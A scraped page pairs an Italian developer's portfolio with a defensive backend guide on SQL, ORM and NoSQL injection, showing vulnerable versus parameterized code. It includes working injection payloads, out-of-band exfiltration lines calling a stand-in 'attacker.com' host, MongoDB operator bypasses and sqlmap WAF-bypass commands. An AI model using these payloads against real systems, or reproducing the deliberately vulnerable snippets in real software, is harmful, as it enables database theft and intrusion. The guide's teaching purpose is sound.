Ciao! Sono

Federico Calò

Sviluppatore Software | Divulgatore Tecnico

Creo applicazioni web moderne e strumenti digitali personalizzati per aiutare le attività a crescere attraverso l'innovazione tecnologica. La mia passione è unire informatica ed economia per generare valore reale.

Contattami

Chi Sono

La mia passione per l'informatica è nata tra i banchi dell'Istituto Tecnico Commerciale di Maglie, dove ho scoperto il potere della programmazione e il fascino di creare soluzioni digitali. Fin da subito, ho capito che l'informatica non era solo codice, ma uno strumento straordinario per trasformare idee in realtà.

Durante gli studi superiori in Sistemi Informativi Aziendali, ho iniziato a intrecciare informatica ed economia, comprendendo come la tecnologia possa essere il motore della crescita per qualsiasi attività. Questa visione mi ha accompagnato all'Università degli Studi di Bari, dove ho conseguito la Laurea in Informatica, approfondendo le mie competenze tecniche e la mia passione per lo sviluppo software.

Oggi metto questa esperienza al servizio di imprese, professionisti e startup, creando soluzioni digitali su misura che automatizzano processi, ottimizzano risorse e aprono nuove opportunità di business. Perché la vera innovazione inizia quando la tecnologia incontra le esigenze reali delle persone.

Le Mie Competenze

Analisi Dati & Modelli Previsionali

Trasformo i dati in insights strategici con analisi approfondite e modelli predittivi per decisioni informate

Automazione Processi

Creo strumenti personalizzati che automatizzano operazioni ripetitive e liberano tempo per attività a valore aggiunto

Sistemi Custom

Sviluppo sistemi software su misura, dalle integrazioni tra piattaforme alle dashboard personalizzate

const federico = {
  nome: "Federico Calò",
  ruolo: "Sviluppatore Software",
  città: "Bari, Italia",
  missione: "Aiutare attraverso l'informatica",
  passioni: [
    "Codice Pulito",
    "Innovazione",
    "Crescita Continua"
  ]
};

La Mia Missione

Credo fermamente che l'informatica sia lo strumento più potente per trasformare le idee in realtà e migliorare la vita delle persone.

🚀

Democratizzare la Tecnologia

La mia missione è rendere l'informatica accessibile a tutti: dalle piccole imprese locali alle startup innovative, fino ai professionisti che vogliono digitalizzare la propria attività. Ogni realtà merita di sfruttare le potenzialità del digitale.

💡

Unire Informatica ed Economia

Non è solo questione di scrivere codice: è capire come la tecnologia possa generare valore reale. Intrecciando competenze informatiche e visione economica, aiuto le attività a crescere, ottimizzare processi e raggiungere nuovi traguardi di efficienza e redditività.

🎯

Creare Soluzioni su Misura

Ogni attività è unica, e così devono esserlo le soluzioni. Sviluppo strumenti personalizzati che rispondono alle esigenze specifiche di ciascun cliente, automatizzando processi ripetitivi e liberando tempo per ciò che conta davvero: far crescere il business.

Trasforma la Tua Attività con la Tecnologia

Dicembre 2024

Visualizza

Master SQL

RoadMap.sh

Novembre 2024

Visualizza

Oracle Certified Foundations Associate

Oracle

Ottobre 2024

Visualizza

People Leadership Credential

Connect

Settembre 2024

💻 Linguaggi & Tecnologie

☕Java

🐍Python

📜JavaScript

🅰️Angular

⚛️React

🔷TypeScript

🗄️SQL

🐘PHP

🎨CSS/SCSS

🔧Node.js

🐳Docker

🌿Git

💼

12/2024 - Presente

Custom Software Engineering Analyst

Accenture

Bari, Puglia, Italia · Ibrida Analisi e sviluppo di sistemi informatici attraverso l'utilizzo di Java e Quarkus in Health and Public Sector. Formazione continua su tecnologie moderne per la creazione di soluzioni software personalizzate ed efficienti e sugli agenti.

💼

06/2022 - 12/2024

Analista software e Back End Developer Associate Consultant

Links Management and Technology SpA

Esperienza nell'analisi di sistemi software as-is e flussi ETL utilizzando PowerCenter. Formazione completata su Spring Boot per lo sviluppo di applicazioni backend moderne e scalabili. Sviluppatore Backend specializzato in Spring Boot, con esperienza in progettazione di database, analisi, sviluppo e testing dei task assegnati.

💼

02/2021 - 10/2021

Programmatore software

Adesso.it (prima era WebScience srl)

Esperienza nell'analisi AS-IS e TO-BE, evoluzioni SEO ed evoluzioni website per migliorare le performance e l'engagement degli utenti.

🎓

2018 - 2025

Laurea in Informatica

Università degli Studi di Bari Aldo Moro

Bachelor's degree in Computer Science, focusing on software engineering, algorithms, and modern development practices.

📚

2013 - 2018

Diploma - Sistemi Informativi Aziendali

Istituto Tecnico Commerciale di Maglie

Technical diploma specializing in Business Information Systems, combining IT knowledge with business management.

Contattami

Hai un progetto in mente? Parliamone! Compila il form qui sotto e ti risponderò al più presto.

* Campi obbligatori. I tuoi dati saranno utilizzati solo per rispondere alla tua richiesta.

03 - SQL Injection and Input Validation: Backend Security Guide

SQL injection is one of the oldest and most dangerous web vulnerabilities. First documented in the late 1990s, it still powers catastrophic data breaches today: according to the 2024 Verizon DBIR, SQL injection and other web application attacks caused 26% of all data breaches. Over 2,600 SQL injection CVEs are expected in 2025, up from 2,400 in 2024.

The threat landscape has evolved well beyond classic SQL injection. Today it includes ORM injection in TypeORM and Prisma, NoSQL injection in MongoDB, and second-order attacks that exploit data already stored in the database. This guide covers every variant with vulnerable and secure code examples in Node.js, Python, and Java, along with a comprehensive defensive strategy for your backend.

What You Will Learn

Full anatomy of SQL injection: UNION, blind, time-based, error-based, out-of-band
Second-order SQL injection: how it works and why it evades surface-level checks
ORM injection patterns in TypeORM and Prisma with practical examples
NoSQL injection in MongoDB using operators like $ne and $regex
Prepared statements and parameterized queries in Node.js, Python and Java
Input validation with Zod (Node.js), Pydantic (Python) and Bean Validation (Java)
Database hardening and the principle of least privilege
How to use SQLMap to test your own applications
Real-world case studies: MOVEit Transfer, TSA FlyCASS, ResumeLooters

Anatomy of a SQL Injection Attack

A SQL injection occurs when unvalidated user input is concatenated directly into a SQL query, allowing the attacker to modify the query's logic. The fundamental problem is architectural: treating data as executable code.

Consider the simplest case: a Node.js login endpoint that builds a query using string concatenation:

// VULNERABLE CODE - Node.js with mysql2
const express = require('express');
const mysql = require('mysql2/promise');

app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  // VULNERABLE: direct concatenation of user input
  const query = `SELECT * FROM users
    WHERE username = '#123;username}'
    AND password = '#123;password}'`;

  const [rows] = await db.execute(query);

  if (rows.length > 0) {
    res.json({ success: true, user: rows[0] });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});

// ATTACK: username = "admin' --"
// Resulting query:
// SELECT * FROM users
//   WHERE username = 'admin' --' AND password = '...'
// The -- comments out the rest: login bypassed without password!

The Five Types of SQL Injection

1. Classic / UNION-Based

The attacker uses the UNION operator to append a second query and retrieve its results alongside the original. This requires the application response to include database output:

-- UNION-based payload: extracts users from the users table
-- Input: id = 1 UNION SELECT username, password, NULL FROM users --

-- Original query:
SELECT product_name, price, description FROM products WHERE id = 1

-- Injected query:
SELECT product_name, price, description FROM products WHERE id = 1
UNION SELECT username, password, NULL FROM users --

-- Prerequisite: same column count, compatible data types

2. Blind Boolean-Based

The application does not return database data, but changes its behavior (e.g., shows or hides content) based on the truth value of the injected condition. The attacker infers information bit by bit:

-- Boolean-based payload: checks if the first letter of the username is 'a'
-- Normal page response = condition is true
-- Empty page = condition is false

-- True (normal response):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a'

-- False (empty page):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='b'

-- Can be fully automated with sqlmap to extract data character by character

3. Blind Time-Based

When the application shows no visible difference in its response, the attacker uses functions that introduce database delays to infer information from response time:

-- MySQL: SLEEP() to extract information from timing
-- 5-second delay = condition is true
-- Immediate response = condition is false

-- Check if the database is named 'production':
GET /product?id=1 AND IF(
  (SELECT database())='production',
  SLEEP(5),
  0
) --

-- PostgreSQL equivalent with pg_sleep():
-- id=1; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --

-- Microsoft SQL Server:
-- id=1; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--

4. Error-Based

The attacker forces the database to generate error messages that contain extracted data. This works when the application exposes database errors to users - a common misconfiguration in development environments accidentally deployed to production:

-- MySQL error-based: extractvalue() generates an error containing the extracted value
-- id=1 AND extractvalue(1, concat(0x7e, (SELECT database())))

-- Error returned to the user:
-- ERROR 1105 (HY000): XPATH syntax error: '~production_db'
-- The attacker gets the database name from the error message!

-- PostgreSQL: type casting to force error
-- id=1 AND cast((SELECT version()) as int)

-- Error: invalid input syntax for type integer:
-- "PostgreSQL 15.2 on x86_64-pc-linux-gnu"

5. Out-of-Band (OOB)

An advanced technique that exfiltrates data through alternative channels (DNS lookups, HTTP requests) rather than the normal HTTP response. Useful when in-band channels are blocked or filtered:

-- MySQL OOB via DNS (requires FILE privilege and outbound DNS):
-- id=1 AND load_file(concat('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\x'))

-- Microsoft SQL Server OOB via HTTP:
-- id=1; EXEC master..xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) + '\share'

-- The attacker sees the request in attacker.com's DNS logs:
-- admin:5f4dcc3b5aa765d61d8327deb882cf99.attacker.com

Second-Order SQL Injection: The Hidden Threat

Second-order SQL injection (also called stored SQL injection) is one of the most insidious vulnerabilities because it evades standard security checks. The payload is not executed at insertion time - it is saved to the database and then retrieved and used in a subsequent query without proper sanitization.

This scenario is particularly dangerous because the insertion code can be correct and safe, while the code that reads and uses the stored data is vulnerable. Superficial penetration tests often miss it entirely.

// SCENARIO: user registration and password change

// PHASE 1 - Registration (appears safe with prepared statement)
app.post('/register', async (req, res) => {
  const { username, password } = req.body;

  // Uses a prepared statement - looks safe!
  await db.execute(
    'INSERT INTO users (username, password) VALUES (?, ?)',
    [username, hash(password)]
  );
  // Attacker registers with username: admin'--
  // Stored correctly in DB as a string: admin'--
});

// PHASE 2 - Password change (VULNERABLE: builds query with data from DB)
app.post('/change-password', async (req, res) => {
  const userId = req.session.userId;

  // Fetches username from DB (seems "safe" because it comes from our own DB)
  const [userRows] = await db.execute(
    'SELECT username FROM users WHERE id = ?',
    [userId]
  );
  const username = userRows[0].username; // = "admin'--"

  const { newPassword } = req.body;

  // VULNERABLE: concatenates username retrieved from DB
  const query = `UPDATE users SET password = '#123;hash(newPassword)}'
    WHERE username = '#123;username}'`;
  // Resulting query:
  // UPDATE users SET password = 'newhash' WHERE username = 'admin'--'
  // Updates admin's password, not the attacker's!

  await db.execute(query);
});

// SOLUTION: use parameterized query EVEN when data comes from the DB
app.post('/change-password-safe', async (req, res) => {
  const userId = req.session.userId;
  const [userRows] = await db.execute(
    'SELECT username FROM users WHERE id = ?',
    [userId]
  );
  const username = userRows[0].username;
  const { newPassword } = req.body;

  // SAFE: prepared statement even for internal data
  await db.execute(
    'UPDATE users SET password = ? WHERE username = ?',
    [hash(newPassword), username]
  );
});

The Golden Rule for Second-Order Injection

Always treat data coming from the database as untrusted, especially if it was originally entered by users. The fact that data comes from your own database does not make it automatically safe to use in a query. Always use parameterized queries, regardless of the data source.

Parameterized Queries: The Primary Defense

Prepared statements (parameterized queries) are the most effective countermeasure against SQL injection. The principle is simple: the query structure is sent to the database separately from the data, in two distinct phases. The database compiles the execution plan before receiving any data, which cannot therefore alter the query logic.

Node.js with mysql2

// SAFE: parameterized queries with mysql2
const mysql = require('mysql2/promise');

const pool = mysql.createPool({
  host: process.env.DB_HOST,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD,
  database: process.env.DB_NAME,
  // Security option: disable multiple statements
  multipleStatements: false,
});

// Safe login
async function loginUser(username, password) {
  // The ? is a placeholder: mysql2 handles escaping automatically
  const [rows] = await pool.execute(
    'SELECT id, username, role FROM users WHERE username = ? AND password = ?',
    [username, hashPassword(password)]
  );
  return rows[0] || null;
}

// Safe LIKE search
async function searchProducts(searchTerm, category, limit = 20) {
  // The % wildcard goes inside the parameter, not the query
  const likeTerm = `%#123;searchTerm}%`;
  const [rows] = await pool.execute(
    `SELECT id, name, price FROM products
     WHERE name LIKE ? AND category = ?
     LIMIT ?`,
    [likeTerm, category, limit]
  );
  return rows;
}

// Safe insertion with validation
async function createUser(userData) {
  const { username, email, password, role = 'user' } = userData;

  // Whitelist for the role field (not parametrizable as an identifier)
  const allowedRoles = ['user', 'moderator'];
  if (!allowedRoles.includes(role)) {
    throw new Error('Invalid role');
  }

  const [result] = await pool.execute(
    'INSERT INTO users (username, email, password_hash, role) VALUES (?, ?, ?, ?)',
    [username, email, hashPassword(password), role]
  );
  return result.insertId;
}

Python with psycopg2 (PostgreSQL)

# SAFE: parameterized queries with psycopg2
import psycopg2
import psycopg2.extras
from contextlib import contextmanager

@contextmanager
def get_db_connection():
    conn = psycopg2.connect(
        host=os.environ['DB_HOST'],
        database=os.environ['DB_NAME'],
        user=os.environ['DB_USER'],
        password=os.environ['DB_PASSWORD']
    )
    try:
        yield conn
    finally:
        conn.close()

def get_user_by_id(user_id: int) -> dict | None:
    """
    Use %s as placeholder (NOT f-strings or format()).
    psycopg2 handles parameter escaping safely.
    """
    with get_db_connection() as conn:
        with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
            # Correct: %s placeholder with parameter tuple
            cur.execute(
                "SELECT id, username, email, role FROM users WHERE id = %s",
                (user_id,)  # Note the comma: must be a tuple
            )
            return cur.fetchone()

def search_users(filters: dict) -> list[dict]:
    """
    Safe dynamic query construction with multiple parameters.
    Never build SQL dynamically with string concatenation.
    """
    conditions = []
    params = []

    if 'username' in filters:
        conditions.append("username ILIKE %s")
        params.append(f"%{filters['username']}%")

    if 'role' in filters:
        # Whitelist for enumerated values
        allowed_roles = {'user', 'admin', 'moderator'}
        if filters['role'] not in allowed_roles:
            raise ValueError(f"Invalid role: {filters['role']}")
        conditions.append("role = %s")
        params.append(filters['role'])

    where_clause = " AND ".join(conditions) if conditions else "TRUE"
    query = f"SELECT id, username, email, role FROM users WHERE {where_clause}"

    with get_db_connection() as conn:
        with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
            cur.execute(query, params)
            return cur.fetchall()

# WRONG - Never do this:
# cur.execute(f"SELECT * FROM users WHERE id = {user_id}")   # f-string = vulnerable
# cur.execute("SELECT * FROM users WHERE id = " + str(user_id))  # concatenation = vulnerable
# cur.execute("SELECT * FROM users WHERE id = %s" % user_id)     # % format = vulnerable

Java with JDBC PreparedStatement

// SAFE: PreparedStatement with JDBC in Java
import java.sql.*;
import java.util.Optional;

public class UserRepository {

    private final DataSource dataSource;

    public UserRepository(DataSource dataSource) {
        this.dataSource = dataSource;
    }

    // SAFE: parameterized PreparedStatement
    public Optional<User> findByUsername(String username) {
        String sql = "SELECT id, username, email, role FROM users WHERE username = ?";

        try (Connection conn = dataSource.getConnection();
             PreparedStatement stmt = conn.prepareStatement(sql)) {

            stmt.setString(1, username);  // 1-indexed parameter
            ResultSet rs = stmt.executeQuery();

            if (rs.next()) {
                return Optional.of(new User(
                    rs.getLong("id"),
                    rs.getString("username"),
                    rs.getString("email"),
                    rs.getString("role")
                ));
            }
            return Optional.empty();
        } catch (SQLException e) {
            throw new DatabaseException("Error fetching user", e);
        }
    }

    // Safe insertion with transaction
    public long createUser(String username, String email, String passwordHash) {
        String sql = "INSERT INTO users (username, email, password_hash, created_at) " +
                     "VALUES (?, ?, ?, NOW())";

        try (Connection conn = dataSource.getConnection()) {
            conn.setAutoCommit(false);

            try (PreparedStatement stmt = conn.prepareStatement(
                    sql, Statement.RETURN_GENERATED_KEYS)) {

                stmt.setString(1, username);
                stmt.setString(2, email);
                stmt.setString(3, passwordHash);
                stmt.executeUpdate();

                conn.commit();

                ResultSet keys = stmt.getGeneratedKeys();
                if (keys.next()) {
                    return keys.getLong(1);
                }
                throw new DatabaseException("Unable to retrieve generated ID");
            } catch (SQLException e) {
                conn.rollback();
                throw new DatabaseException("Error creating user", e);
            }
        } catch (SQLException e) {
            throw new DatabaseException("Database connection error", e);
        }
    }

    // WRONG - Statement.execute() with concatenation:
    // String sql = "SELECT * FROM users WHERE username = '" + username + "'";
    // stmt.execute(sql);  // NEVER do this!
}

ORM Injection: When "Safe" Is Not Enough

Many developers mistakenly believe that using an ORM (Object-Relational Mapper) automatically eliminates SQL injection risk. In reality, a 2025 study found that over 30% of applications using ORMs still contain SQL injection vulnerabilities due to incorrect usage patterns. Here are the most common cases.

TypeORM: Raw Queries and QueryBuilder

// TypeORM - VULNERABLE vs SAFE patterns

import { DataSource, Repository } from 'typeorm';
import { User } from './entities/User';

// VULNERABLE 1: query() with string interpolation
async function findUserVulnerable(username: string) {
  const result = await dataSource.query(
    `SELECT * FROM users WHERE username = '#123;username}'`
    // If username = "admin' OR '1'='1", instant bypass!
  );
  return result;
}

// SAFE 1: query() with positional parameters
async function findUserSafe(username: string) {
  const result = await dataSource.query(
    'SELECT id, username, email FROM users WHERE username = $1',
    [username]  // Parameters as separate array
  );
  return result;
}

// VULNERABLE 2: QueryBuilder with where() and interpolation
async function searchUserVulnerable(role: string, search: string) {
  return await dataSource
    .createQueryBuilder(User, 'user')
    .where(`user.role = '#123;role}' AND user.username LIKE '%#123;search}%'`)
    // Direct interpolation = SQL injection!
    .getMany();
}

// SAFE 2: QueryBuilder with named parameters
async function searchUserSafe(role: string, search: string) {
  // Whitelist for enumerated fields like role
  const allowedRoles = ['user', 'admin', 'moderator'] as const;
  if (!allowedRoles.includes(role as any)) {
    throw new Error('Invalid role');
  }

  return await dataSource
    .createQueryBuilder(User, 'user')
    .where('user.role = :role AND user.username LIKE :search', {
      role,
      search: `%#123;search}%`  // The % goes in the parameter, not the query
    })
    .select(['user.id', 'user.username', 'user.email'])
    .getMany();
}

// SAFE 3: Repository API (the safest approach with TypeORM)
async function findUsersByRoleSafe(
  userRepository: Repository<User>,
  role: string
) {
  return await userRepository.findBy({ role });
  // TypeORM automatically generates parameterized queries
}

Prisma: The $queryRaw Pitfall

Prisma is generally considered safe for standard queries, but the $queryRaw and $executeRaw methods require special attention. Research in 2025 demonstrated that Prisma can be vulnerable to time-based attacks through JSON operators and database functions.

// Prisma - VULNERABLE vs SAFE patterns

import { PrismaClient } from '@prisma/client';

const prisma = new PrismaClient();

// VULNERABLE: $queryRaw with unsafe template literal
async function getUserVulnerable(userId: string) {
  // NEVER use $queryRawUnsafe with user input!
  const result = await prisma.$queryRawUnsafe(
    `SELECT * FROM users WHERE id = #123;userId}`
    // userId = "1 OR 1=1" bypasses the filter!
  );
  return result;
}

// SAFE 1: $queryRaw with tagged template literals
// Prisma automatically parameterizes interpolations in the tagged template
async function getUserSafe(userId: number) {
  // Note: uses the Prisma.sql template tag, NOT a plain string
  const result = await prisma.$queryRaw`
    SELECT id, username, email FROM users WHERE id = #123;userId}
  `;
  // Prisma converts #123;userId} to a prepared parameter automatically
  return result;
}

// SAFE 2: Use Prisma's standard API whenever possible
async function getUserWithOrders(userId: number) {
  return await prisma.user.findUnique({
    where: { id: userId },
    select: {
      id: true,
      username: true,
      email: true,
      orders: {
        where: { status: 'active' },
        take: 10
      }
    }
  });
  // Completely safe: Prisma generates prepared statements
}

// WARNING: Prisma findMany with user-controlled where
// VULNERABLE: ORM Leak - exposes too much
async function searchUsersVulnerable(userFilter: any) {
  return await prisma.user.findMany({
    where: userFilter,  // User controls the where clause = ORM Leak!
    // Attacker can send: { password: { startsWith: 'a' } }
    // To extract passwords character by character (timing attack)
  });
}

// SAFE: strict validation schema for filters
import { z } from 'zod';

const UserSearchSchema = z.object({
  username: z.string().max(50).optional(),
  email: z.string().email().optional(),
  role: z.enum(['user', 'moderator']).optional(),
});

async function searchUsersSafe(rawFilter: unknown) {
  // Validate and transform the filter with a strict schema
  const validFilter = UserSearchSchema.parse(rawFilter);

  return await prisma.user.findMany({
    where: validFilter,  // Only allowed and validated fields
    select: {           // Explicitly select fields
      id: true,
      username: true,
      email: true,
      role: true,
    },
    take: 50,
  });
}

NoSQL Injection: MongoDB and Dangerous Operators

Applications using NoSQL databases like MongoDB are not immune to injection attacks. NoSQL injection exploits the database's query operators (such as $ne, $gt, $regex) to modify query logic. The typical attack vector is a malformed JSON body in an HTTP request.

// MongoDB with Mongoose - VULNERABLE
const express = require('express');
const User = require('./models/User');

// VULNERABLE: uses req.body directly as a MongoDB query
app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  // If the body is: { "username": { "$ne": null }, "password": { "$ne": null } }
  // The query becomes: WHERE username != null AND password != null
  // Returns the FIRST user in the DB - complete bypass!
  const user = await User.findOne({ username, password });

  if (user) {
    res.json({ token: generateToken(user) });
  } else {
    res.status(401).json({ error: 'Unauthorized' });
  }
});

// Attack payloads (as JSON body):
// {
//   "username": { "$ne": null },
//   "password": { "$ne": null }
// }

// Other common payloads:
// { "username": { "$regex": ".*" } }       -- matches any username
// { "password": { "$gt": "" } }             -- password > empty string (always true)
// { "username": { "$in": ["admin", "root"] } }

// MongoDB with Mongoose - SAFE

const express = require('express');
const mongoose = require('mongoose');
const mongoSanitize = require('express-mongo-sanitize');
const { z } = require('zod');
const bcrypt = require('bcrypt');

// 1. Global sanitization middleware
app.use(mongoSanitize({
  replaceWith: '_',  // Replaces $ with _ in operators
  onSanitizeError(req, res) {
    res.status(400).json({ error: 'Invalid input' });
  }
}));

// 2. Strict Zod schema for type validation
const LoginSchema = z.object({
  username: z.string().min(3).max(50).regex(/^[a-zA-Z0-9_]+$/),
  password: z.string().min(8).max(128),
});

// SAFE: validation + password hashing + no plaintext password in query
app.post('/login', async (req, res) => {
  try {
    // Validates that username and password are strings, not objects
    const { username, password } = LoginSchema.parse(req.body);

    // Query by username (validated string, not an object)
    const user = await User.findOne({ username }).select('+password');

    if (!user) {
      // Constant response time to prevent timing attacks
      await bcrypt.compare(password, '$2b$10$placeholder.hash.here.for.timing');
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    // Verify password with bcrypt (not stored in plaintext)
    const isValid = await bcrypt.compare(password, user.password);
    if (!isValid) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    res.json({ token: generateToken(user) });
  } catch (error) {
    if (error instanceof z.ZodError) {
      return res.status(400).json({ error: 'Invalid input format' });
    }
    // Never expose internal error details
    res.status(500).json({ error: 'Server error' });
  }
});

// 3. Mongoose schema with strict mode (default: true)
const userSchema = new mongoose.Schema({
  username: { type: String, required: true, unique: true },
  email: { type: String, required: true },
  password: { type: String, required: true, select: false },
  role: { type: String, enum: ['user', 'admin', 'moderator'], default: 'user' }
}, {
  strict: true,  // Ignores fields not defined in the schema
  // sanitizeFilter: true  // Mongoose 6+: auto-sanitizes query operators
});

Input Validation: The First Line of Defense

Parameterized queries protect against SQL injection, but input validation is the first defensive barrier and significantly reduces the attack surface. A robust validation approach follows the allowlist principle (specify what is allowed) rather than a blocklist (specify what is forbidden).

Zod for Node.js/TypeScript

// Input validation with Zod - Node.js/TypeScript
import { z } from 'zod';

// Reusable schemas for common parameters
const IdSchema = z.coerce.number().int().positive().max(2147483647);

const PaginationSchema = z.object({
  page: z.coerce.number().int().min(1).default(1),
  limit: z.coerce.number().int().min(1).max(100).default(20),
  sortBy: z.enum(['created_at', 'username', 'email']).default('created_at'),
  sortOrder: z.enum(['asc', 'desc']).default('desc'),
});

// Schema for user creation
const CreateUserSchema = z.object({
  username: z
    .string()
    .min(3, 'Username too short')
    .max(50, 'Username too long')
    .regex(/^[a-zA-Z0-9_-]+$/, 'Username contains invalid characters'),
  email: z
    .string()
    .email('Invalid email format')
    .max(255),
  password: z
    .string()
    .min(8, 'Password too short')
    .max(128, 'Password too long')
    .regex(
      /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])/,
      'Password must contain uppercase, lowercase, numbers and special characters'
    ),
  role: z.enum(['user', 'moderator']).default('user'),
});

// Generic validation middleware for Express
function validateBody<T>(schema: z.ZodSchema<T>) {
  return (req: Request, res: Response, next: NextFunction) => {
    const result = schema.safeParse(req.body);
    if (!result.success) {
      return res.status(400).json({
        error: 'Invalid data',
        details: result.error.issues.map(issue => ({
          field: issue.path.join('.'),
          message: issue.message,
        })),
      });
    }
    req.body = result.data;  // Replace with validated and typed data
    next();
  };
}

// Use in routes
app.post('/api/users',
  validateBody(CreateUserSchema),
  async (req, res) => {
    // req.body is now fully typed and validated
    const user = await createUser(req.body);
    res.status(201).json({ id: user.id });
  }
);

Database Hardening and Least Privilege

Even with perfect parameterized queries, a poorly configured database dramatically amplifies the damage of any successful attack. The principle of least privilege ensures each component has only the permissions strictly necessary for its function.

-- Database Hardening: PostgreSQL example

-- 1. Create dedicated users for each application role
-- NEVER use the postgres/root user for the application!

-- Application user (DML only)
CREATE USER app_web WITH PASSWORD 'strong_random_password_here';
GRANT CONNECT ON DATABASE myapp TO app_web;
GRANT USAGE ON SCHEMA public TO app_web;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO app_web;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO app_web;
-- NO: CREATE TABLE, DROP TABLE, TRUNCATE, ALTER, DDL

-- Reports/analytics user (SELECT only)
CREATE USER app_reports WITH PASSWORD 'another_strong_password';
GRANT CONNECT ON DATABASE myapp TO app_reports;
GRANT USAGE ON SCHEMA public TO app_reports;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO app_reports;

-- Migrations user (DDL, NOT used in normal production)
CREATE USER app_migrations WITH PASSWORD 'migration_password';
GRANT ALL PRIVILEGES ON DATABASE myapp TO app_migrations;
-- Disable this user after migrations:
-- ALTER USER app_migrations VALID UNTIL '2025-12-31';

-- 2. Revoke default permissions
REVOKE ALL ON SCHEMA public FROM PUBLIC;
REVOKE CREATE ON SCHEMA public FROM PUBLIC;

-- 3. Protect sensitive tables with views
CREATE VIEW users_public AS
  SELECT id, username, email, role, created_at
  FROM users;
  -- Excludes: password_hash, reset_token, 2fa_secret

REVOKE SELECT ON users FROM app_reports;
GRANT SELECT ON users_public TO app_reports;

-- 4. Enable Row Level Security (RLS) for multi-tenant isolation
ALTER TABLE documents ENABLE ROW LEVEL SECURITY;

CREATE POLICY documents_tenant_isolation ON documents
  USING (tenant_id = current_setting('app.current_tenant_id')::integer);

-- 5. Disable dangerous functions
REVOKE EXECUTE ON FUNCTION pg_read_file(text) FROM PUBLIC;
REVOKE EXECUTE ON FUNCTION pg_ls_dir(text) FROM PUBLIC;

-- 6. Enable audit logging (PostgreSQL with pgaudit)
-- shared_preload_libraries = 'pgaudit'
-- pgaudit.log = 'all'

SQLMap: Test Your Application Before Attackers Do

SQLMap is the most widely used open source tool for automated SQL injection testing. It supports MySQL, PostgreSQL, Microsoft SQL Server, Oracle and many other DBMS systems. Use it only on systems you own or with explicit written authorization.

# SQLMap: essential commands for penetration testing

# Basic test on a URL with GET parameter
sqlmap -u "https://localhost:3000/api/products?id=1" --batch

# Test with authentication (session cookie)
sqlmap -u "https://localhost:3000/api/products?id=1" \
  --cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --batch

# Test on POST request with JSON body
sqlmap -u "https://localhost:3000/api/login" \
  --data='{"username":"test","password":"test"}' \
  --content-type="application/json" \
  --batch

# More aggressive test: all injection techniques
sqlmap -u "https://localhost:3000/api/products?id=1" \
  --level=5 \          # Test level (1-5)
  --risk=3 \           # Risk of damage (1-3, use 2 in tests)
  --technique=BEUST \  # All techniques: Boolean, Error, Union, Stacked, Time
  --batch

# Test with tamper scripts for WAF bypass
sqlmap -u "https://localhost:3000/api/products?id=1" \
  --tamper=space2comment,between,randomcase \
  --batch

# Test from an HTTP request file (captured with Burp Suite)
# Save request to request.txt:
# GET /api/products?id=1 HTTP/1.1
# Host: localhost:3000
# Cookie: session=...
sqlmap -r request.txt --batch

Case Studies: Real-World Attacks 2023-2025

MOVEit Transfer (CVE-2023-34362) - The Breach of the Year

In May 2023, a critical SQL injection vulnerability in Progress Software's MOVEit Transfer file transfer software triggered one of the most devastating data breaches in recent history. The vulnerability (CVE-2023-34362, CVSS 9.8) allowed attackers to inject SQL through HTTP parameters, bypass authentication, and execute arbitrary commands on the server.

The impact was catastrophic: 11.3 million patient records stolen from Maximus alone, breaches at the U.S. Department of Energy, the Louisiana Office of Motor Vehicles, and hundreds of other organizations. The Cl0p ransomware group exploited the vulnerability to extort money from over 2,000 organizations worldwide. Class-action lawsuits continued throughout 2024.

The vulnerability was in an HTTP parameter that was directly concatenated into a SQL query for session validation. A single line of insecure code generated billions of dollars in damages.

TSA FlyCASS (2024) - Critical Infrastructure Vulnerability

In 2024, security researchers Ian Carroll and Sam Curry discovered a SQL injection vulnerability in the FlyCASS system, used by the U.S. Transportation Security Administration (TSA) to verify airline crew members. The vulnerability could have allowed an attacker to add arbitrary names to the database of authorized personnel, potentially bypassing airport security checks.

ResumeLooters Campaign (2024)

The ResumeLooters group compromised over 65 recruitment and retail websites using SQL injection and XSS attacks. They stole millions of candidate records, including personal data, resumes, and contact information. This case demonstrates that SQL injection is still successfully exploited against production applications in 2024.

Lesson from the Case Studies

In all these cases, the vulnerability was technically simple to fix: a prepared statement instead of string concatenation. The real cost is not fixing the bug, but the reputational, legal, and financial damage that follows. Security must be integrated during development, not added after a breach.

Best Practices: Summary

Practice	Priority	Impact
Parameterized queries / Prepared statements	CRITICAL	Prevents classic and second-order SQL injection
Schema-based input validation (Zod/Pydantic)	HIGH	Rejects malformed input before it reaches the DB
ORM standard API (avoid raw queries)	HIGH	Reduces ORM injection risk
Database least privilege	HIGH	Limits damage if an attack succeeds
NoSQL sanitization (express-mongo-sanitize)	HIGH	Prevents MongoDB operator injection
Stored procedures (optional)	MEDIUM	Encapsulates SQL logic, reduces attack surface
WAF (ModSecurity + OWASP CRS)	MEDIUM	Blocks known attacks before reaching the app
Rate limiting on critical endpoints	MEDIUM	Prevents brute force and automated scanning
SQLMap in CI/CD	MEDIUM	Detects security regressions automatically
Generic error handling (no stack traces)	MEDIUM	Does not reveal useful information to attackers

Common Anti-Patterns to Avoid

Frequent Mistakes

String concatenation in queries: Even a single occurrence can compromise the entire application.
Trusting data from the database: Data coming from your own DB can contain previously injected payloads (second-order injection).
Using the database root user for the application: In case of a breach, the attacker will have full server access.
